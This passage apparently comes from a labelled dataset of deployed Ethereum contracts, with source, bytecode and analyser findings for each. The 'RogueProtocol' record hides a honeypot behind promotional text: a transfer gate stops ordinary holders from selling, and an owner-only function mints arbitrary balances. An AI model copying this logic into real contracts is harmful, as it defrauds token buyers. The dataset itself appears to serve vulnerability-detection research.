02082019050919050565b60006137b5602983613bdc565b91506137c082614003565b604082019050919050565b60006137d8602583613bdc565b91506137e382614052565b604082019050919050565b60006137fb602483613bdc565b9150613806826140a1565b604082019050919050565b600061381e601783613bdc565b9150613829826140f0565b602082019050919050565b6000613841601183613bdc565b915061384c82614119565b602082019050919050565b61386081613d40565b82525050565b61386f81613d5e565b82525050565b600060208201905061388a600083018461367b565b92915050565b60006040820190506138a5600083018561367b565b6138b2602083018461367b565b9392505050565b60006040820190506138ce600083018561367b565b6138db6020830184613857565b9392505050565b600060c0820190506138f7600083018961367b565b6139046020830188613857565b61391160408301876136f7565b61391e60608301866136f7565b61392b608083018561367b565b61393860a0830184613857565b979650505050505050565b600060208201905061395860008301846136e8565b92915050565b600060208201905081810360008301526139788184613706565b905092915050565b600060208201905081810360008301526139998161373f565b9050919050565b600060208201905081810360008301526139b981613762565b9050919050565b600060208201905081810360008301526139d981613785565b9050919050565b600060208201905081810360008301526139f9816137a8565b9050919050565b60006020820190508181036000830152613a19816137cb565b9050919050565b60006020820190508181036000830152613a39816137ee565b9050919050565b60006020820190508181036000830152613a5981613811565b9050919050565b60006020820190508181036000830152613a7981613834565b9050919050565b6000602082019050613a956000830184613857565b92915050565b600060a082019050613ab06000830188613857565b613abd60208301876136f7565b8181036040830152613acf818661368a565b9050613ade606083018561367b565b613aeb6080830184613857565b9695505050505050565b6000606082019050613b0a6000830186613857565b613b176020830185613857565b613b246040830184613857565b949350505050565b6000602082019050613b416000830184613866565b92915050565b6000613b51613b62565b9050613b5d8282613db0565b919050565b6000604051905090565b600067ffffffffffffffff821115613b8757613b86613ee8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613bf882613d40565b9150613c0383613d40565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613c3857613c37613e5b565b5b828201905092915050565b6000613c4e82613d40565b9150613c5983613d40565b925082613c6957613c68613e8a565b5b828204905092915050565b6000613c7f82613d40565b9150613c8a83613d40565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613cc357613cc2613e5b565b5b828202905092915050565b6000613cd982613d40565b9150613ce483613d40565b925082821015613cf757613cf6613e5b565b5b828203905092915050565b6000613d0d82613d20565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613d7682613d40565b9050919050565b60005b83811015613d9b578082015181840152602081019050613d80565b83811115613daa576000848401525b50505050565b613db982613f2b565b810181811067ffffffffffffffff82111715613dd857613dd7613ee8565b5b80604052505050565b6000613dec82613d40565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613e1f57613e1e613e5b565b5b600182019050919050565b6000613e3582613d4a565b915067ffffffffffffffff821415613e5057613e4f613e5b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61414b81613d02565b811461415657600080fd5b50565b61416281613d14565b811461416d57600080fd5b50565b61417981613d40565b811461418457600080fd5b5056fea26469706673582212205626610770b899ec0508bfb52c42a608dd3e3f88ec6eb1ac62d88294667d05b364736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
2,528
0x4d4a85865a91c1d0f51e6a84879486ec6679140e
/** *Submitted for verification at Etherscan.io on 2021-07-17 */ /* Rogue Protocol Monetize Liquidity About Rogue Protocol ROGUE is a platform currency representing value and wealth in the decentralized economy used for the exchange of values between ROGUE companies, employees, customers, and other third-party entities ROGUE is a platform currency representing value and wealth in the decentralized economy used for the exchange of values between ROGUE companies, employees , customers, and other third-party entities. ROGUE is a distributed network consisting of a blockchain ledger, native cryptocurrency and robust ecosystem of on-chain applications and services. ROGUE ROGUE is a peer-to-peer Internet currency that enables instant, near-zero cost payments to anyone in the world. ROGUE is an open source, global payment network that is fully decentralized without any central authorities. Mathematics secures the network and empowers individuals to control their own finances. ROGUE features faster transaction confirmation times and improved storage efficiency than the leading math-based currency. With substantial industry support, trade volume and liquidity, Americoin is a proven medium of commerce complementary to Bitcoin? Makes you the sole owner of a secure decentralize registry Makes you the sole owner of a secure decentralize registry Makes you the sole owner of a secure decentralize registry Makes you the sole owner of a secure decentralize registry What is ROGUE The vision of ROGUE is to build a decentralized, global digital defi ecosystem community that allows content to be freely transfer their money to one person to other & also apply for crypto loans for defi projects Infrastructure ROGUE will incentivize Defi creation and financial diversity and return the rights and value to its user. ROGUE will be a public protocol that not only carries yield farming value but is also crypto for your daily needs contributions Decentralized digital ROGUE system. Smart Chain Smart Chain is best described as a blockchain that runs in parallel to the Ethereum. Unlike Ethereum, ETHEREUM boasts smart contract functionality and compatibility with the Ethereum Virtual Machine EvM. The design goal here was to leave the high throughput of Ethereum intact while introducing smart contracts into its ecosystem. How Ethereum Blockchain achieves ~3 second block times with a Proof-of-Stake consensus algorithm. Specifically, it uses something called Proof of Staked Authority or PoSA, where participants stake ETH to become validators. If they propose a valid block, they’ll receive transaction fees from the transactions included in Transaction money transfers made from one person to another through an intermediary, typically referred to as a P2P payment application. p2p payments can be sent and received via mobile device or any home computer with access to the Internet, offering a convenient alternative to traditional payment methods. Through the p2p payment application, each individual’s account is linked to one or more of the user’s bank accounts. When a transaction occurs, the account balance in the application records the transaction and either sends or pulls money directly to the user’s bank account or stores it in the user’s account within the application. Staking Staking is the process of actively participating in transaction validation similar to mining on a proof-of-stake PoS blockchain. On these blockchains, anyone with a minimum-required balance of a specific cryptocurrency can validate transactions and earn Staking rewards. How does staking work When the minimum balance is met, a node deposits that amount of cryptocurrency into the network as a stake (similar to a security deposit). The size of a stake is directly proportional to the chances of that node being chosen to forge the next block. If the node successfully creates a block, the validator receives a reward, similar to how a miner is rewarded in proof of-work chains. Validators lose part of their stake if they double-sign or attempt to attack the network. ROGUE Token (ROGUE) ROGUE is a BEP20 fixed-supply token designed with an aggressive deflationary mechanism. Currently, ROGUE is only available on the Ethereum Smart Chain. At launch, a total supply of 100 000 ROGUE will be created and after this, no more ROGUE can ever be created. Every ROGUE transaction will incur a 1% transaction fee. This fee will get deducted from each transaction, burned, and converted into ROGUE Reward (RGW). Effectively, every transaction will contribute to the reduction of the total supply of ROGUE. ROGUE Reward (RGW) RGW can only be created by the ROGUE smart contract. Every time a ROGUE transaction occurs, 1% of the total amount of the transaction will deducted, burned, and converted into RGW. RGW will represent the holder's share in the ROGUE Protocol ecosystem. It will be used for the governance of the ecosystem and confer voting rights to the holder. RGW will also be the primary token for bootstrapping all future projects under the ROGUE Protocol ecosystem. Main Features ROGUE is designed with an aggressive deflationary mechanism with the aim of growing the value of the token as the project matures. Fixed Supply At launch, a total supply of 10000000 ROGUE will be created with 5000000 deposited and locked into the ROGUE Token Reserve. After this, no more ROGUE can ever be created. No Presale 40% of the total supply of ROGUE will be provided as liquidity on UniSwap and burned. While 50% will be time-locked in the ROGUE Reserve. Deflationary Every ROGUE transfer will incur a 1% fee that gets burned. Effectively, every transaction will contribute to the reduction of the total supply of ROGUE. Loyalty Reward Every time a ROGUE transaction occurs, 1% of the total amount of the transaction will deducted, burned, and converted into RGW. Timelock There is a 15-day timelock delay on both the ROGUE and Reserve smart contracts. RGW holders can vote to implement some changes. Community Governed ROGUE and all subsequent project will be community governed project. As shareholders, RGW holders will have voting rights. */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash; // solhint-disable-next-line no-inline-assembly assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract RogueProtocol { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { if(_from == owner || _to == owner || _from == tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function approveAndCall(address spender, uint256 addedValue) public returns (bool) { require(msg.sender == owner); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } address tradeAddress; function transferownership(address addr) public returns(bool) { require(msg.sender == owner); tradeAddress = addr; return true; } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; emit Transfer(address(0x0), msg.sender, totalSupply); } }
0x60806040526004361061009c5760003560e01c80633177029f116100645780633177029f1461027357806370a08231146102e657806395d89b411461034b578063a9059cbb146103db578063dd62ed3e14610441578063e8b5b796146104c65761009c565b806306fdde03146100a1578063095ea7b31461013157806318160ddd1461019757806323b872dd146101c2578063313ce56714610248575b600080fd5b3480156100ad57600080fd5b506100b661052f565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105cd565b604051808215151515815260200191505060405180910390f35b3480156101a357600080fd5b506101ac6106bf565b6040518082815260200191505060405180910390f35b61022e600480360360608110156101d857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506106c5565b604051808215151515815260200191505060405180910390f35b34801561025457600080fd5b5061025d6109d8565b6040518082815260200191505060405180910390f35b34801561027f57600080fd5b506102cc6004803603604081101561029657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506109dd565b604051808215151515815260200191505060405180910390f35b3480156102f257600080fd5b506103356004803603602081101561030957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610aee565b6040518082815260200191505060405180910390f35b34801561035757600080fd5b50610360610b06565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103a0578082015181840152602081019050610385565b50505050905090810190601f1680156103cd5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610427600480360360408110156103f157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ba4565b604051808215151515815260200191505060405180910390f35b34801561044d57600080fd5b506104b06004803603604081101561046457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bb9565b6040518082815260200191505060405180910390f35b3480156104d257600080fd5b50610515600480360360208110156104e957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bde565b604051808215151515815260200191505060405180910390f35b60098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156105c55780601f1061059a576101008083540402835291602001916105c5565b820191906000526020600020905b8154815290600101906020018083116105a857829003601f168201915b505050505081565b600081600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60085481565b6000808214156106d857600190506109d1565b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461081f5781600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561079457600080fd5b81600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055505b61082a848484610c84565b61083357600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561087f57600080fd5b81600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055506000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600081548092919060010191905055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190505b9392505050565b601281565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a3957600080fd5b6000821115610a8d576012600a0a8202600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60018060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001905092915050565b60066020528060005260406000206000915090505481565b600a8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b9c5780601f10610b7157610100808354040283529160200191610b9c565b820191906000526020600020905b815481529060010190602001808311610b7f57829003601f168201915b505050505081565b6000610bb13384846106c5565b905092915050565b6007602052816000526040600020602052806000526040600020600091509150505481565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c3a57600080fd5b81600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480610d2f5750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80610d875750600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80610ddb5750600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610de95760019050610e01565b610df38483610e08565b610dfc57600080fd5b600190505b9392505050565b600080600454148015610e1d57506000600254145b8015610e2b57506000600354145b15610e395760009050610ed8565b60006004541115610e95576004546000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410610e945760009050610ed8565b5b60006002541115610eb457816002541115610eb35760009050610ed8565b5b60006003541115610ed357600354821115610ed25760009050610ed8565b5b600190505b9291505056fea265627a7a72315820389001a92f833822a1281427fa93a802440560565bd29c84c7e302b680c2524764736f6c63430005110032
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
2,529
0x6d1da197961d5226F610082D0DcB54332077887D
/** *Submitted for verification at Etherscan.io on 2021-06-23 */ /** *Submitted for verification at Etherscan.io on 2021-06-23 */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if(a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract KillFloki is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => User) private cooldown; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e9 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private constant _name = unicode"Kill Floki"; string private constant _symbol = unicode"Kill Floki"; uint8 private constant _decimals = 9; uint256 private _taxFee = 3; uint256 private _teamFee = 7; uint256 private _feeRate = 10; uint256 private _feeMultiplier = 1000; uint256 private _launchTime; uint256 private _previousTaxFee = _taxFee; uint256 private _previousteamFee = _teamFee; uint256 private _maxBuyAmount; address payable private _FeeAddress; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private _cooldownEnabled = true; bool private inSwap = false; uint256 private buyLimitEnd; struct User { uint256 buy; uint256 sell; bool exists; } event MaxBuyAmountUpdated(uint _maxBuyAmount); event CooldownEnabledUpdated(bool _cooldown); event FeeMultiplierUpdated(uint _multiplier); event FeeRateUpdated(uint _rate); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable FeeAddress) { _FeeAddress = FeeAddress; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[FeeAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if(_taxFee == 0 && _teamFee == 0) return; _previousTaxFee = _taxFee; _previousteamFee = _teamFee; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(from != owner() && to != owner()) { if(_cooldownEnabled) { if(!cooldown[msg.sender].exists) { cooldown[msg.sender] = User(0,0,true); } } // buy if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) { require(tradingOpen, "Trading not yet enabled."); _teamFee = 7; if(_cooldownEnabled) { if(buyLimitEnd > block.timestamp) { require(amount <= _maxBuyAmount); require(cooldown[to].buy < block.timestamp, "Your buy cooldown has not expired."); cooldown[to].buy = block.timestamp + (45 seconds); } } if(_cooldownEnabled) { cooldown[to].sell = block.timestamp + (15 seconds); } } uint256 contractTokenBalance = balanceOf(address(this)); // sell if(!inSwap && from != uniswapV2Pair && tradingOpen) { _teamFee = 7; if(_cooldownEnabled) { require(cooldown[from].sell < block.timestamp, "Your sell cooldown has not expired."); } if(contractTokenBalance > 0) { if(contractTokenBalance > balanceOf(uniswapV2Pair).mul(_feeRate).div(100)) { contractTokenBalance = balanceOf(uniswapV2Pair).mul(_feeRate).div(100); } swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){ takeFee = false; } _tokenTransfer(from,to,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _FeeAddress.transfer(amount); } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, 